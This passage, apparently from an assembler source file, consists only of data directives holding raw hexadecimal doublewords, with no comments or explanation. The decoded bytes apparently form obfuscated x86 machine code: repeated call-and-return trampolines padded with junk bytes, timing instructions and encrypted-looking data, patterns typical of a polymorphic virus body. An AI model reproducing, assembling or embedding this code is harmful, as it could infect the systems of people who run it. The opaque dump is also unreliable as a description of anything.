6A56FDEAh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0D52A9569h dd 0FE9h, 397C1500h, 591A7324h, 0BE6ED6AEh, 2BFC1E07h dd 0BD31006Ah, 64E06D1h, 0D27B858Dh, 6A0651h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 953ECDC3h dd 83C521D9h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F827CDC3h, 0B4BE1DA3h, 0BF0F95D7h dd 665090FEh, 9022FABFh, 0AE8h, 0EB2FC100h, 5246F5B6h dd 292C1D19h, 4E0D9985h, 6A5E06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 2CC35242h, 0FFBF663Ah, 89006A0Fh dd 4E100185h, 4D9D0906h, 0FF064E27h, 4E088595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 8338AAF1h, 7D779FD0h, 2830F60h, 0B3000000h, 61A7B4F2h dd 20459D01h, 9D8D064Eh, 651AF49h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0FFC35747h, 0C7D8D066h, 0BD8B0F5Fh dd 64E315Dh, 9D31D3FFh, 64E2F6Dh, 8D585FFh, 0BF0F064Eh dd 0EDBE9F8h, 0E80000h, 5D000000h, 0D285ED81h, 880F0651h dd 4, 8CB3BE66h, 2A5DBD81h, 7D0064Eh, 860F0000h, 183h dd 0FE9h, 81F3EB00h, 7A3BB7F5h, 0D62A9CBCh, 5EEFE802h dd 30299D8Bh, 6A064Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 8B746AC3h, 89B58B23h, 81064E19h dd 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0A59C2DEBh, 68BE6626h, 0FDB0BF1h dd 7D85h, 0EF816600h, 0BD83D1A0h, 651D02Ch, 17840F00h dd 66000000h, 0E956DEBFh, 98h, 68F0F53h, 8B000000h, 4E1881B5h dd 85C75E06h, 651D02Ch, 1, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 60C35040h, 2941BD89h, 59E9064Eh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 9894C353h, 0BF66E463h, 85C78173h, 651D02Ch dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 55C35545h dd 5428CBD4h, 5840FC2h, 0BE000000h, 4719FF1Ah, 30299D8Dh dd 6A064Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 564482C3h, 6E9h, 7D52E200h, 2387417Ch, 4E0881B5h dd 0FF238106h, 6AFFFFFEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 9CBFC355h, 2D9D01DFh dd 66064E25h, 0DBBFDB8Ch, 0F64AA1F7h, 840F04C3h, 58h, 61EF8166h dd 0CD95FF9Bh, 0F064E2Fh, 188Ch, 0EE800h, 7FDF0000h, 4A5DFCD8h dd 77FF8DD1h, 4E14DDh, 7108BE66h, 6052905Eh, 5A566160h dd 0BF505E61h, 2D291D3h, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 54B1EE95h, 416E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0EE9BB49h, 32000000h, 0C810D0EEh, 0CFB9A621h, 3405B095h dd 0F00B0A5h, 1780h, 12E900h, 21860000h, 8DA85874h, 0EBC1B9D0h dd 0DD71F070h, 1E3C9D7Eh, 19ADBD29h, 70E6064Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 10C35242h, 0E4F18B5Fh dd 58B0F71h, 66000000h, 5AACDE81h, 6AD8B60Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0DE0DC351h, 6BAh, 0EAC68100h, 8B40337Ch, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 66B3F9EBh, 0B589FA8Bh, 64E0BE5h, 6A04E8C1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 5831C351h, 0A096F0BFh, 850F8806h, 10h, 0A810Fh, 5E90000h dd 0F000000h, 0E3278E4Ch, 6AE2F766h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 331DC353h dd 4E26FDBDh, 6AD82B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0B17FC356h, 292C931Bh dd 4E25D59Dh, 890F5006h, 3, 89F18B66h, 0BD8B241Ch, 64E0BA5h dd 2A5DB5FFh, 0F88B064Eh, 1A5995FFh, 6A064Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58BC5C3h dd 64E2235h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F3F35C3h, 684h, 0F9B58B00h, 0E6064E19h dd 47DE8170h, 0E476981Ah, 0A1858971h, 3C064E28h, 30830F61h dd 81000002h, 18FBC7C7h, 0D8B60F4Fh, 6BAFA8Bh, 0F000000h dd 128Fh, 0DE900h, 0C8070000h, 894D8B8Eh, 736DD12Ah, 6645480Dh dd 28E9E681h, 0BE66C38Bh, 0E8C1B829h, 6890F04h, 0F000000h dd 87h, 665F5700h, 2BF8E2F7h, 12E9D8h, 46410000h, 0A437AFE6h dd 2D6A7C10h, 0FAD8ADA5h, 8AD21B6Ah, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0DFDC6683h dd 1F66C498h, 858B607Ch, 64E3009h, 8E9h, 0EA341400h, 3D6E6704h dd 0F78B61C7h, 880FD82Bh, 18Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9FC35040h, 0DDE61475h, 24BD9B4Dh dd 15C19589h, 7B9064Eh, 89000000h, 4E2A75BDh, 18C0F06h dd 0F9000000h, 8B00C183h, 0FD93BF7h, 14286h, 0D98C6600h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 2FC35141h dd 0AE71E3C5h, 0BE87Eh, 94DA0000h, 0F275F5AFh, 0CF57EC68h dd 0E035BE63h, 0F65F6315h, 840F04C1h, 0D4h, 2FCD95FFh dd 6A064Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 89622CC3h, 4E20D9BDh, 0F1BD3106h, 5B064E03h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 34C35646h dd 89DC2C39h, 4E07A99Dh, 7E906h, 0DBDC0000h, 2C000AAAh dd 6AC32BF5h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 293AC352h, 44755BCh, 8343DFCh dd 860F0000h, 44h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 6BC35646h, 4CE9610Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0B9C4C353h, 6C9FBF4Dh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 1BC4FBC3h, 2A9D74A4h dd 61BD332Dh, 8B064E06h, 6AD88BC3h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 58A6C352h dd 23ECCF9Ah, 4E1FD5BDh, 0AD85C706h, 13064E07h, 6A5A7C5Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 5C23C353h, 4F2AA7B8h, 0BD89B8CEh, 64E0BDDh dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B52B9CC3h, 64E3071h, 264DBD8Bh, 0BD81064Eh dd 64E2A5Dh, 7D0h, 30850Fh, 860F0000h, 5, 76C78166h, 5D85FF57h dd 0E9064E2Ah, 14h, 0B9068386h, 62A959EFh, 9C76994Bh, 0A394FEE4h dd 0AC0BDE99h, 871BD8Bh, 0B5FF064Eh, 64E2A5Dh, 2AC5B589h dd 95FF064Eh, 64E1A59h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0EBC35242h, 0B71D7251h, 6A4090h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0D1A785C3h, 208F0Fh, 14E80000h, 0E6000000h, 0FC199376h dd 92ABC20Ch, 0AFA07593h, 8DBB81C1h, 9AACED1h, 4E2F9D9Dh dd 0BD835F06h, 64E0E31h, 0BC840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0F6EBC352h, 2A0C649Ch, 0DB9C9BE6h, 12CDBD83h, 0F00064Eh dd 8A84h, 0F28B6600h, 0E3195FFh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 572814C3h dd 89BD8B1Bh, 0B064E10h, 54840FC0h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 1C2AC357h, 108D8D29h, 89064E4Eh, 4E2D958Dh, 5B806h dd 0E1FF0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 85C35343h, 0D9BD8BE4h, 83064E08h, 4E0F8DBDh, 840F0006h dd 68Ch, 2B61B58Bh, 0BD83064Eh, 64E12CDh, 79840F00h, 0E9000006h dd 9, 3512C25Dh, 72F01BC0h, 11F681E6h, 8D17D92Ch, 4E123D8Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0C3E836E5h, 68F0F99h, 29000000h, 4E0A1D95h dd 8401C706h, 6A44B27Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 1860C357h, 1925DB2Dh dd 0D781540Eh, 22877FA3h, 0CFCB0181h, 0B5891499h, 64E2AC5h dd 340441C7h, 6ACE706Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 8460C350h, 0AAE81757h dd 5E9F799h, 9B000000h, 3BD7AAE6h, 10044181h, 6A31D6D7h dd 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 2DD0C351h, 0DD8F00A3h dd 52FB89BCh, 9D89006Ah, 64E0F91h, 123D858Dh, 0BF66064Eh dd 5750051Bh, 0BF665250h, 310F668Ah, 0E3662DBEh, 5F585A39h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4D7DC355h, 60FE183Bh, 0C4ABBCB7h dd 0F8D95FFh, 9589064Eh, 64E3169h, 7E9h, 0AEB28300h, 57D7D639h dd 123D8D8Dh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0EC647CC3h, 654D2F93h, 18F58589h dd 0B589064Eh, 64E3035h, 1C7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 93C264C3h dd 3D4573A5h, 0B70FDAECh, 441C7FFh, 0 dd 2C89B58Bh, 0C00B064Eh, 0BA840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0AB4549C3h dd 0E80DB52Fh, 14h, 0C6E863BCh, 46FD5ADEh, 6506B7AAh, 72B1646Fh dd 7EFBF5BDh, 5E8h, 7D779F00h, 8D8909CFh, 64E0DA9h, 8D8D5F5Eh dd 64E4E10h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0BDC35747h, 0B4DA5603h, 328FCFD3h, 0EE9h, 0AEA48500h dd 1E99633Bh, 91EDEC5Eh, 0B8DDDB05h, 5, 1B3DB589h, 0E1FF064Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8BC35242h dd 8D31F9F5h, 64E1039h, 123D8D8Dh, 1C7064Eh, 44AA727Ch dd 181F88Bh, 1499CFCBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0A2C35747h, 3C0441C7h, 8BCE7875h, 4E0FD5B5h dd 4418106h, 31D6D710h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 4EC35040h, 291609D3h, 8DE48120h, 6AF38BD4h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0ED3B2063h, 598D89F6h, 8D064E2Ah, 4E123D85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0D61715A7h, 35858951h, 5E064E04h, 11E950h dd 53D80000h, 0E3DC2A42h, 0BC3119FEh, 0CEB7629Dh, 894DB230h dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0B24DAAC3h, 0D70DBF53h, 0FF5E2EA2h, 4E0F8D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8921F040h, 4E2CCDB5h, 3D8D8D06h, 6A064E12h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8952C355h, 4E10D98Dh, 1C706h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0E0A6C353h, 5277BE5Eh, 2B664AE0h, 4E08A1BDh dd 441C706h, 0 dd 0F2BF0F56h, 0FC00B5Eh, 5584h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F528124h dd 8D5EF0B7h, 4E4E108Dh, 6DB58B06h, 0B8064E1Bh, 5, 6AE1FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 5A4D42C3h, 8D8D6F8Ah, 64E123Dh, 0A501C7FCh, 8B54CA95h dd 4E0D69BDh, 0F88B6606h, 0CFCB0181h, 6A1499h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 74FF94C3h, 9A7C204Eh, 5F52F8DBh, 17870Fh, 11E80000h dd 7D000000h, 1ADB6C56h, 0CCCA28B1h, 96AE1985h, 13181606h dd 441C75Eh, 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 5FC35242h, 65BD2395h, 0F064E15h, 68Fh dd 19B58B00h, 81064E03h, 0D7100441h, 958931D6h, 64E18FDh dd 5E52006Ah, 123D858Dh, 0BF66064Eh, 0BE9D951h, 15000000h dd 30BD330h, 3165C884h, 5090FDD0h, 5830Fh, 4FBF0000h, 9016B2FFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4EC35343h dd 7FFAE7B9h, 317CCD8Dh, 4E18199Dh, 8D95FF06h, 6A064E0Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 290CC357h, 104E240Eh, 0F60C1E6h, 685h, 21B58B00h dd 80064E1Ah, 8D61E1EEh, 4E123D8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 1DF46368h dd 1B85B529h, 1C7064Eh, 0 dd 6810Fh, 0EF810000h, 43057B8Dh, 441C7h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0AD1EC352h, 0C58D09C3h, 0F064E28h, 0C00BF1B7h, 76840Fh dd 0F2BE0000h, 8D387699h, 4E4E108Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 5DB46C89h dd 6345D172h, 0BD89AAC3h, 64E0661h, 5B8F5h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FF06F0C3h, 7E860E1h, 0F2000000h, 7FBB2B6Fh, 0F1819484h dd 46C20C82h, 0C99D2959h, 61064E29h, 2BE9CA03h, 89FFFFF1h dd 4E2FFD9Dh, 66C18B06h, 4EBF78Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 50C35242h dd 0FC603D71h, 0FEE68166h, 0BEF38B8Fh, 19ABCDECh, 1061858Dh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 8BB6A9C3h, 0E0895315h, 50A7D01Bh, 0A810Fh dd 52500000h, 310F5E57h, 585AF28Bh, 29240489h, 4E10058Dh dd 89006A06h, 4E2A9195h, 0B006A06h, 4E0EC5B5h, 0C850F06h dd 60000000h, 0E8D88166h, 0D081668Dh, 8D61A063h, 51E2F985h dd 79BD8906h, 83064E2Bh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 5652D7C3h, 34267FBEh dd 905E5E1Ch, 0EE8h, 7DB9700h, 0CDC0F715h, 0BDFDBB11h dd 0F764DA6h, 1286h, 0DE900h, 0FD220000h, 0EB24B15Eh, 1FE0EDD5h dd 5ECACA76h, 6A9050h, 14E8h, 0CDBE7400h, 9B0A272Fh, 39D93DE0h dd 4869269Fh, 0BD657C81h, 81B58B9Eh, 5E064E0Bh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 965C41C3h, 8595FF74h, 0E9064E08h, 6, 3FA0A5EEh, 9D8D0FBAh dd 651AF49h, 840FD3FFh, 6, 15299D89h, 85FF064Eh, 64E08D5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 73C35141h dd 1ECA4233h, 8B746C49h, 4E0CF5B5h, 11B58B06h, 0E9064E1Ah dd 0B45h, 0E8h, 0ED815D00h, 651E303h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0FCC35646h, 6644B574h, 8165B0BEh dd 4E2A5DBDh, 7D006h, 72860F00h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C7D8C351h dd 0AF150F5Fh, 0E982C5ACh, 5, 3BBCA79Ah, 699D8B09h, 6A064E22h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0E9D2C355h, 3C10E40Eh, 81C0C703h, 100E3h dd 88BE6600h, 0FDB0B5Fh, 9A85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 62FBF9E3h dd 2959B58Bh, 0BD83064Eh, 651E162h, 53840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F4F9C351h, 8B22B9A3h, 4E2B55B5h, 4CE906h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 830FDEC3h, 6, 212DBD01h, 85C7064Eh, 651E162h dd 1, 0E9F18B66h, 12h, 0C7F0BF0Fh, 51E16285h, 6, 8433BE00h dd 9D8D1ED7h, 64E2269h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 91C35545h, 43457188h, 0DB188EF7h, 0C1CE8166h dd 0ACB1BE3Bh, 23814586h, 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 3FC35747h, 8BCC8907h, 4E0D69B5h dd 0DB8C6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 57C35747h, 0BD891D25h, 64E152Dh, 0F04C3F6h, 5384h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 41850955h, 0FF064E0Dh, 4E2FCD95h, 0F3BF0F06h dd 24048950h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 43C35242h, 98C174B8h, 92FA3006h, 4DAE9h, 14E900h dd 18500000h, 0F63F8CFDh, 282F08F8h, 0B8322B28h, 0A15E2DADh dd 0B02EAEh, 8E9h, 0ACEDE900h, 15DCA483h, 6A70E6FEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 7DBEC350h, 35693DB0h, 899617D5h, 4E18F58Dh, 6A71E406h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0F53EC353h, 6AD8B60Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BA38C351h dd 6, 6CDE8166h, 6AC38B2Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9DA2C356h, 0C14C38h dd 3BE527Dh, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 6615C350h, 0AE9E2F7h dd 65000000h, 33D67D9Ch, 1AAB0AD7h, 1D82BA1h, 4E1251B5h dd 0E9509306h, 10h, 0BB1A852Fh, 141FCE6Ch, 0D531980h, 0BA0268A8h dd 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0E10C3189h, 0FD24675h, 0B5FFF7B7h, 64E2A5Dh dd 0DF28C681h, 95FF66F6h, 64E1A59h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0A6C35141h, 88C2C37Bh, 0F8FD7648h dd 0B58B00B0h, 64E0AF1h, 71E470E6h, 5F43E681h, 613C2E93h dd 351830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 160DA9C3h, 361E4195h, 4BE2053h dd 6602616Fh, 0F6809BEh, 6AD8B6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 3B71A6C3h, 0C1284E6Ch dd 0D6816644h, 6E99C93h, 48000000h, 88C57229h, 6BAA5h dd 6E90000h, 90000000h, 81DD5202h, 6AC38BBFh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 1618C357h, 0F959589h, 0E8C1064Eh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E9425D04h dd 12h, 422E3A5Ah, 6EAEE137h, 0D6524546h, 7C91323Ah, 0F7662F95h dd 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 1A8E0FA5h, 0F000000h, 148Eh, 0EE800h, 0DAB80000h dd 9AF38C6h, 0D17887EAh, 8AF63173h, 0EE95Eh, 0FDD90000h dd 0AB40C783h, 1F5B8E18h, 2E510FDBh, 6AD82Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 860776C3h dd 68FE37Bh, 0BF0FBD0Dh, 0B8A0FF0h, 60000000h, 3E19D8Bh dd 0EF80064Eh, 0E85861CAh, 0Ah, 3AF8680Eh, 0CAE478C4h dd 0F08B52E0h, 0FD82B5Eh, 1DA88h, 0DE800h, 0D16A0000h dd 4531A2Dh, 47413C6Eh, 0E88D0EF0h, 10h, 93DC7A5Bh, 64A9831Fh dd 7DD9397Bh, 0D9792071h, 1519E681h, 5E5E5FE8h, 7B9h, 0C183F500h dd 0E116BE00h, 0E9601A99h, 10h, 5A228F3Fh, 9E14ADA9h, 29176EA1h dd 0DD507A17h, 160DB58Bh, 3B61064Eh, 78860FD9h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 164EC357h, 0E8AA0190h, 950160C7h, 64E080Dh dd 880Fh, 66610000h, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 98DFDCC3h, 2F34E681h dd 0C1F669FDh, 0D9840F04h, 89000000h, 4E1885BDh, 0CD95FF06h dd 6A064E2Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 68BDC350h, 0EAEE8166h, 68E0F98h dd 89000000h, 4E24F995h, 0D6815B06h, 6B5D0C15h, 9501C32Bh dd 64E12F5h, 8343Dh, 85860F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 6DB8C355h, 0D042B154h, 0F6BF0F64h, 0CDB50360h, 0E9064E15h dd 11h, 59908A2h, 60074013h, 51130426h, 89CAFFEAh, 840F61C9h dd 6, 9F1B58Bh, 70E9064Eh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0DF42C352h dd 0F6049BEEh, 0F3B70F67h, 148D9531h, 0B529064Eh, 64E3055h dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9003B7C3h, 6062C634h, 10E9h, 0ED7EAD00h dd 12D329BBh, 6C90CBDCh, 0AB23D44Dh, 0CE81667Dh, 8B61533Bh dd 6AD88BC3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 9B81C355h, 0E007C0F1h, 0EE94CE9h dd 69000000h, 5B778DD9h, 7336FE76h, 5B2CFE2Ch, 55BE6615h dd 2985C7ACh, 0B3064E30h, 6A31C999h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 9BC7C350h dd 0F9B58B8Fh, 8B064E12h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 964828CFh dd 495B5068h, 51B52367h, 81064E2Bh, 4E2A5DBDh, 7D006h dd 2F850F00h, 8B000000h, 4E08BDB5h, 5D85FF06h, 6A064E2Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 75E3C357h, 45B81A70h, 0B5FF7BD4h, 64E2A5Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 87C35242h dd 0C4E57209h, 0FFC6D3DDh, 4E1A5995h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 41F1CA37h, 9F280C22h, 8B903F1Fh, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 7F8693F5h dd 19F1BD83h, 0F00064Eh, 4B84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 90B5A850h dd 86E9E8D6h, 6A000002h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0A572C357h, 0CE81C63Ch dd 21930D18h, 0F08BDF8Ch, 4C7F766h, 52850F00h, 0E9000002h dd 6, 0E78FAACEh, 0BF89E0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B10C352h dd 4E13C1B5h, 0C29D8D06h, 6A0651EDh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C158C352h dd 800F5214h, 9, 3820Fh, 0B70F0000h, 95B58BF2h, 93064E21h dd 0FE8h, 0D0022E00h, 0C958CBA4h, 0A51FA5A7h, 39F8BD87h dd 5250505Eh, 16BE6656h, 310F5E23h, 0BE8h, 9C424500h, 28F70DF0h dd 2A34D4C0h, 0FE9h, 2E070E00h, 0C9C01385h, 57C16D3Fh dd 3C03C34Ah, 93585A5Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 1C35141h, 466A47CBh, 0F58D8919h, 0F064E07h dd 0FF64F1BFh, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0CFED4A21h, 53D5CFF9h dd 2589645Eh, 0 dd 2511B58Bh, 0C48B064Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 1AC35040h, 81A906F3h, 66DF0AD3h, 0CD0D6CBEh dd 8B00EB01h, 4E319DB5h, 21B58B06h, 64064E06h, 58Fh, 8E90000h dd 28000000h, 0F17C8DFCh, 0E81FCF63h, 14h, 0DCB35FDBh dd 98ECBB9Ah, 27A5FF4Bh, 0CCCC6300h, 507EE667h, 68E0Fh dd 0B58B0000h, 64E3009h, 4C4835Eh, 329DB589h, 0C00B064Eh dd 0B7840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0E5B96CC3h, 0B58B11D9h, 64E1365h dd 4E10BD8Dh, 8952064Eh, 4E089D9Dh, 5B85E06h, 66000000h dd 0FF3E6DBEh, 55006AE7h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0D681FA60h, 702278Bh dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 0CE9C3C0h, 13000000h dd 0CFCF13FAh, 0AE1265CBh, 6A8D54D9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 2B3DC357h dd 4E07C9B5h, 0E9CA2B06h, 0FFFFF4E0h, 0FE9h, 0C7055500h dd 121731A2h, 53D73278h, 0FB6DE9F3h, 2FB1B58Bh, 0B58B064Eh dd 64E06F1h, 0CD0D8CBEh, 6AC18B41h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9E3C356h dd 8E9D28BEh, 4EB0Dh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 986AC356h, 539B589h dd 11E8064Eh, 0F0000000h, 